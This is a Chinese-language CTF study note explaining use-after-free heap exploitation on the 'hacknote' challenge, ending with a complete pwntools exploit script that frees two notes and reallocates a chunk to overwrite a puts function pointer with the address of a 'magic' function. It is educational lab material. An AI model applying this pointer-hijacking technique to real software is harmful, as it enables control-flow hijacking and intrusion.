UAF的学习 Wiki
参考文章 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
不得不说 wiki 真的好 真的建议好好看看~~
UAF 应该是最简单的堆溢出利用之一了
wiki 用的例子也是 UAF 题里面简单的题 这里 我用的也是 wiki 里面的例子
UAF 其实就是 free 的指针 没有 把指针 给清0 指针还是指向了原来的地址 但是 那个地址已经给了别的模块 但我们依然能够用
那么这里就出现了 UAF漏洞
这个题 其实大概情况很简单 我们看一下
他这个结构体其实很简单 就是 两个指针 第一个指针就是 puts 函数
puts 第二个指针指向的内存地址 也就是程序的让我们输入的内容
然后 是malloc (8)
看一下 dele
这里可以看的出来 只是free了 并没有 把指针 清 0 那么我们只需要申请到 note的内存 然后把他内存里面的puts 改成我们想要实现的函数地址 然后 就能够 完成 溢出
下面是 exp
#coding:utf-8
from pwn import*
io=process("./hacknote")
elf=ELF("./hacknote")
get_addr=elf.symbols['magic']
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def dele(index):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def show(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
if __name__ == '__main__':
add(0x20,'aaaa')
add(0x20,'bbbb')
dele(0)
dele(1)
add(8,p32(get_addr))
show(0)
io.interactive()
io.close()
成功写入 magic
get!